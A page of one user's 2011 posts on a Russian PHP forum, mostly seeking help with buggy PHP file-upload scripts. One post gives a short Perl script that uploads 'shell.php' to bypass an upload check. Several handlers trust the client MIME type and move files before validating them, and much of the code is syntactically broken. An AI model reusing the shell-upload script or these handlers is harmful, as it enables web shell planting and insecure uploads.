PHP . SU
Программирование на PHP, MySQL и другие веб-технологии
Страниц (19): В начало « ... 8 9 10 11 [12] 13 14 15 16 ... » В конец
Найдено сообщений: 283
foozzi
Отправлено: 15 Ноября, 2011 - 06:13:12 • Тема: не работает класс • Форум: Объектно-ориентированное программирование
Ответов: 3 Просмотров: 2363
caballero все равно... здедал вот так
PHP:
скопировать код в буфер обмена
<?PHP
class file_upload
{
public $file_info = array ( ) ; // Массив с информацией о исходном файле - $_FILES['file_name'] public $file_server_patch = "/" ; //Путь по которому на сервере хранятся закачанные файлы # по умолчанию кидаем в корень
public $file_new_name = "" ; //Новое имя файла (то под каки он будет лежать на сервере # при пустом значении то имя с которым файл был передан
public $file_max_size = 0 ; // Максимально допустимый размер закачиваемого на сервер файла # При пустом значении размер передаваемого файла
public $file_extended = array ( ) ; // Массив с допустимыми для закачиваемого файла расширениями # пустой массив берем расширение исходного файла public $rezult_array = array ( ) ; // Массив возвращаемых значений public $file_size = "" ; // Размер файла
public $s = 0 ; // Номер файла от начала
/*public $d = @opendir($file_server_patch);*/ // Открыть директорию загрузки
public $upload_link = "" ; // Генерируемая ссылка
public function __construct( )
{
}
public function __destruct( )
{
}
public function file_upload_data( )
{
$this -> file_size = $file_size ;
$this -> file_info = $file_info ;
$this -> file_extended = $file_extended ;
$this -> file_server_patch = $file_server_patch ;
$this -> s = $s ;
if ( $this -> file_size < $this -> file_info [ 'size' ] )
{
if ( $this -> file_extended != $this -> file_info [ 'type' ] )
{
$d = opendir ( $this -> file_server_patch ) ; $this -> s ;
{
if ( is_file ( $this -> file_server_patch . "/" . $e ) ) $this -> s ++;
}
}
else
{
echo "Не разрешенный тип файла!<br>" ;
echo "<a href=" index
. php?
microtime ( ) ; ">Загрузить еще</a>" ; }
}
else
{
echo "Размер файла превышает лимит!<br>" ;
echo "<a href=" index
. php?
microtime ( ) ; ">Загрузить еще</a>" ; }
private function file_upload( )
{
$this -> file_new_name = $file_new_name ;
$this -> upload_link = $upload_link ;
if ( move_uploaded_file ( $this -> file_info [ 'tmp_name' ] , $this -> file_server_patch . $this -> file_new_name ) ) {
include "../style/echo.tpl"
echo "<a href='?" . md5 ( microtime ( ) ) . "'>Загрузить другой файл</a>" ; }
else
{
echo "Не удалось загрузить файл" ;
}
}
}
}
?>
foozzi
Отправлено: 15 Ноября, 2011 - 00:41:33 • Тема: не работает класс • Форум: Объектно-ориентированное программирование
Ответов: 3 Просмотров: 2363
форма
PHP:
скопировать код в буфер обмена
<form enctype="multipart/form-data" action="upload.class.php" method="post">
<input type="file" name="filename" size="45">
<input type="submit" value=" Грузить! " name="upload">
</form>
<?PHP
if ( isset ( $_FILES [ 'file' ] ) ) {
include "upload.class.php" ;
$upload_class = new file_upload( ) ;
$upload_class -> file_server_patch = "uploads" ;
$upload_class -> file_extended = array ( ".jpg" , ".gif" , ".png" ) ; // Типы файлов передающиеся ядру на обработку $upload_class -> file_info = $_FILES [ 'file' ] ; // Инфо о файле
$upload_class -> file_new_name = dirname ( __FILE__ ) . $upload_class -> file_server_patch ; // Имя файла не изменное $upload_class -> file_size = 70000000 ;
// Вызываем метод загрузки файла
$upload_class -> file_upload_data ( ) ;
}
класс
PHP:
скопировать код в буфер обмена
<?PHP
class file_upload
{
public $file_info = array ( ) ; // Массив с информацией о исходном файле - $_FILES['file_name']
public $file_server_patch = "" ; //Путь по которому на сервере хранятся закачанные файлы # по умолчанию кидаем в корень
public $file_new_name = "" ; //Новое имя файла (то под каки он будет лежать на сервере # при пустом значении то имя с которым файл был передан
public $file_max_size = 0 ; // Максимально допустимый размер закачиваемого на сервер файла # При пустом значении размер передаваемого файла
public $file_extended = array ( ) ; // Массив с допустимыми для закачиваемого файла расширениями # пустой массив берем расширение исходного файла
public $rezult_array = array ( ) ; // Массив возвращаемых значений public $file_size = "" ; // Размер файла
public $s = 0 ; // Номер файла от начала
public $d = @ opendir ( $file_server_patch ) ; // Открыть директорию загрузки public $upload_link = "" ; // Генерируемая ссылка
public function file_upload_data( )
{
$this -> file_size = $file_size ;
$this -> file_info = $file_info ;
$this -> file_extended = $file_extended ;
$this -> file_server_patch = $file_server_patch ;
$this -> s = $s ;
if ( $this -> file_size < $this -> file_info [ 'size' ] )
{
if ( $this -> file_extended != $this -> file_info [ 'type' ] )
{
$d =@ opendir ( $this -> file_server_patch ) ; $this -> s ;
{
if ( is_file ( $this -> file_server_patch . "/" . $e ) ) $this -> s ++;
}
}
else
{
echo "Не разрешенный тип файла!<br>" ;
echo "<a href=" index
. php?
microtime ( ) ; ">Загрузить еще</a>" ; }
}
else
{
echo "Размер файла превышает лимит!<br>" ;
echo "<a href=" index
. php?
microtime ( ) ; ">Загрузить еще</a>" ; }
private function file_upload( )
{
$this -> file_new_name = $file_new_name ;
$this -> upload_link = $upload_link ;
if ( move_uploaded_file ( $this -> file_info [ 'tmp_name' ] , $this -> file_server_patch . $this -> file_new_name ) ) {
include "../style/echo.tpl"
echo "<a href='?" . md5 ( microtime ( ) ) . "'>Загрузить другой файл</a>" ; }
else
{
echo "Не удалось загрузить файл" ;
}
}
}
?>
белая страница при обработке... в чет я тупанул?
foozzi
Отправлено: 13 Ноября, 2011 - 14:05:45 • Тема: ООП с самого начала • Форум: Обсуждение статей
Ответов: 47 Просмотров: 13090
огромное спасибище за столь детальное разжеванное объяснение, хотелось бы увидеть статейку по регулярным выражениям...
foozzi
Отправлено: 13 Ноября, 2011 - 10:50:27 • Тема: определение синтаксиса текста • Форум: Вопросы новичков
Ответов: 0 Просмотров: 55
собственно нужен сабж, живой пример pastebin, как я понял это делается через xml и парсер для xml, есть ли маны или куда вообще копать?
foozzi
Отправлено: 12 Ноября, 2011 - 18:40:53 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
snikers987 как я понимаю .php это просто текст, приставка и тд. и майм тип файла это уже определение какой файл есть сам по себе, мож я чет не понял
foozzi
Отправлено: 12 Ноября, 2011 - 13:07:56 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
snikers987 пишет: Метод обхода проверки в студию.
пожалуйста
CODE (
htmlphp ):
скопировать код в буфер обмена
#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP:: Request :: Common ;
$ua = $ua = LWP:: UserAgent -> new ;
$res = $ua -> request ( POST 'http://localhost/upload1.php' ,
Content_Type => 'form-data' ,
Content => [ userfile => [ "shell.php" , "shell.php" ] , ] , ) ;
print $res -> as_string ( ) ;
исходник на perl использующий upload.php* для загрузки шелла
(Добавление)
вот... все работает вроде
PHP:
скопировать код в буфер обмена
<?PHP
$upload_dir = 'uploads/' ;
$upload_path = dirname ( __FILE__ ) . $upload_dir ; $upload_filename = basename ( $_FILES [ "filename" ] [ "name" ] ) ; $upload_link = "http://" . $_SERVER [ "HTTP_HOST" ] . dirname ( $_SERVER [ "PHP_SELF" ] ) . '/' . $upload_dir . $upload_filename ;
function check_file( ) {
global $ext ;
if ( $_FILES )
{
switch ( $_FILES [ 'filename' ] [ 'type' ] ) // Проверка типа файла
{
case 'image/jpeg' : $ext = 'jpg' ; break ;
case 'image/pjpeg' : $ext = 'jpg' ; break ;
case 'image/png' : $ext = 'png' ; break ;
case 'application/pdf' : $ext = 'pdf' ; break ;
case 'application/x-bzip2' : $ext = 'bz2' ; break ;
case 'application/x-gzip' : $ext = 'gz' ; break ;
case 'application/x-tar' : $ext = 'tar' ; break ;
case 'application/x-troff-man' : $ext = 'man' ; break ;
case 'application/zip' : $ext = 'zip' ; break ;
case 'audio/mpeg' : $ext = 'mp3' ; break ;
default : $ext = '' ;
}
}
}
function upload_file( $max_size = 645728)
{
global $upload_path , $upload_filename , $upload_dir , $upload_link , $m , $ext ;
if ( $ext == true && $_FILES [ 'filename' ] [ 'size' ] <= $max_size )
{
if ( $m )
{
echo "Файл загружен." ;
echo "Линки:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value='" . $upload_link . "'><br><br>" ;
echo "HTML Линк:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value=\" <a href='" . $upload_link . "'>" . $upload_link . "</a>\" ><br><br>" ;
echo "BB-Code Линк:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value='[url]" . $upload_link . "[/url]'><br><br>" ;
echo "<a href='?" . md5 ( microtime ( ) ) . "'>Загрузить другой файл</a>" ; }
else
{
/*echo "Ошибка. Возможно не хватает прав доступа.<br>";
echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
exit ( "Ошибка. Возможно не хватает прав доступа." ) ; }
}
else
{
/*echo "Не разрешенный тип файла или слишком большой размер файла.<br>";
echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
exit ( "Не разрешенный тип файла или слишком большой размер файла." ) ; }
/*print_r($mes);*/
}
/*}*/
check_file( ) ;
upload_file( ) ;
?>
фак, и этот то же заливает запрещенные файлы =(
foozzi
Отправлено: 12 Ноября, 2011 - 02:16:59 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
еще одна трабла с обработчиком, тестил только что его и обнаружил что запрещенные файлы (.txt например) заливаются НО с названием после первой точки, то есть было например lalal.lala.txt залилось lalal.txt
подскажите как фиксить? вот финальный код:
PHP:
скопировать код в буфер обмена
<?PHP
$upload_dir = 'uploads/' ;
$upload_path = dirname ( __FILE__ ) . $upload_dir ; $upload_filename = basename ( $_FILES [ "filename" ] [ "name" ] ) ; $upload_link = "http://" . $_SERVER [ "HTTP_HOST" ] . dirname ( $_SERVER [ "PHP_SELF" ] ) . '/' . $upload_dir . $upload_filename ;
function upload_file( $max_size = 645728)
{
global $upload_path , $upload_filename , $upload_dir , $upload_link , $m ;
if ( $_FILES )
{
switch ( $_FILES [ 'filename' ] [ 'type' ] ) // Проверка типа файла
{
case 'image/jpeg' : $ext = 'jpg' ; break ;
case 'image/pjpeg' : $ext = 'jpg' ; break ;
case 'image/png' : $ext = 'png' ; break ;
case 'application/pdf' : $ext = 'pdf' ; break ;
case 'application/x-bzip2' : $ext = 'bz2' ; break ;
case 'application/x-gzip' : $ext = 'gz' ; break ;
case 'application/x-tar' : $ext = 'tar' ; break ;
case 'application/x-troff-man' : $ext = 'man' ; break ;
case 'application/zip' : $ext = 'zip' ; break ;
case 'audio/mpeg' : $ext = 'mp3' ; break ;
default : $ext = '' ;
}
if ( $ext == true && $_FILES [ 'filename' ] [ 'size' ] <= $max_size )
{
if ( $m )
{
echo "Файл загружен." ;
echo "Линки:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value='" . $upload_link . "'><br><br>" ;
echo "HTML Линк:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value=\" <a href='" . $upload_link . "'>" . $upload_link . "</a>\" ><br><br>" ;
echo "BB-Code Линк:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value='[url]" . $upload_link . "[/url]'><br><br>" ;
echo "<a href='?" . md5 ( microtime ( ) ) . "'>Загрузить другой файл</a>" ; }
else
{
/*echo "Ошибка. Возможно не хватает прав доступа.<br>";
echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
exit ( "Ошибка. Возможно не хватает прав доступа." ) ; }
}
else
{
/*echo "Не разрешенный тип файла или слишком большой размер файла.<br>";
echo "<a href='?".md5(microtime())."'>Загрузить другой файл</a>";*/
exit ( "Не разрешенный тип файла или слишком большой размер файла." ) ; }
/*print_r($mes);*/
}
}
upload_file( ) ;
?>
foozzi
Отправлено: 11 Ноября, 2011 - 20:58:50 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
snikers987 пишет: С чего вдруг этот скрипт в одну функцию стал библиотекой или я чего не понимаю?
сорри я немного протупил =)
(по началу там было несколько функций ыы)
foozzi
Отправлено: 11 Ноября, 2011 - 20:43:41 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
OrmaJever пишет: foozzi ответ был дан во втором посте, вы спросили где parce error вам ответили, а то что пустая страница дак это уже нужно
http://phpfaq[dot]ru/debug (который так же был во втором посте). Пока не научитесь читать полезные статьи, которые дают, дела не будет.
да нет, дело было совсем в другом =) ток что осенило и переписал немного код, вот рабочая библиотека:
PHP:
скопировать код в буфер обмена
<?PHP
$upload_dir = '/uploads/' ;
$upload_path = dirname ( __FILE__ ) . $upload_dir ; $upload_filename = basename ( $_FILES [ "filename" ] [ "name" ] ) ; $upload_link = "http://" . $_SERVER [ "HTTP_HOST" ] . dirname ( $_SERVER [ "PHP_SELF" ] ) . $upload_dir . $upload_filename ; $m = move_uploaded_file ( $_FILES [ 'filename' ] [ 'tmp_name' ] , /*TE_DIR.'/upload/'*/ $upload_path . $upload_filename ) ;
function upload_file( $max_size = 3145728)
{
global $upload_path , $upload_filename , $upload_dir , $upload_link , $m ;
if ( $_FILES )
{
switch ( $_FILES [ 'filename' ] [ 'type' ] ) // Проверка типа файла
{
case 'image/jpeg' : $ext = 'jpg' ; break ;
case 'image/pjpeg' : $ext = 'jpg' ; break ;
case 'image/png' : $ext = 'png' ; break ;
case 'application/pdf' : $ext = 'pdf' ; break ;
case 'application/x-bzip2' : $ext = 'bz2' ; break ;
case 'application/x-gzip' : $ext = 'gz' ; break ;
case 'application/x-tar' : $ext = 'tar gz' ; break ;
case 'application/x-troff-man' : $ext = 'man' ; break ;
case 'application/zip' : $ext = 'zip' ; break ;
case 'audio/mpeg' : $ext = 'mp3' ; break ;
default : $ext = '' ;
}
if ( $ext == true && $_FILES [ 'filename' ] [ 'size' ] <= $max_size )
{
if ( $m )
{
echo "Файл загружен." ;
echo "Линки:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value='" . $upload_link . "'><br><br>" ;
echo "HTML Линк:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value=\" <a href='" . $upload_link . "'>" . $upload_link . "</a>\" ><br><br>" ;
echo "BB-Code Линк:<br>" ;
echo "<input type='text' size=80 onclick='this.select()' value='[url]" . $upload_link . "[/url]'><br><br>" ;
echo "<a href='../index.php?" . md5 ( microtime ( ) ) . "'>Загрузить другой файл</a>" ; }
else
{
echo "Ошибка. Возможно не хватает прав доступа." ;
}
}
else
{
echo "Не разрешенный тип файла или слишком большой размер файла" ;
}
/*print_r($mes);*/
}
}
upload_file( ) ;
?>
foozzi
Отправлено: 11 Ноября, 2011 - 18:13:56 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
snikers987 пишет: А где функция вызывается то?
эта функция вмещает в себя весь процесс, зачем вызывать, это же обработчик
foozzi
Отправлено: 11 Ноября, 2011 - 17:51:06 • Тема: ошибка в библеотеке загрузки • Форум: Вопросы новичков
Ответов: 34 Просмотров: 1016
Bio man я использую linux debian и не использую поприетарное ПО, у меня есть замечательный редактор BlueFish который так же само видит закрытые и не закрытые функции, я не могу поверить что нет решения к проблемме, сори я там кинул не тот код там где небыло закрытия if у меня то он стоит.... все перепробовал =(
Страниц (19): В начало « ... 8 9 10 11 [12] 13 14 15 16 ... » В конец
Powered by ExBB FM 1.0 RC1. InvisionExBB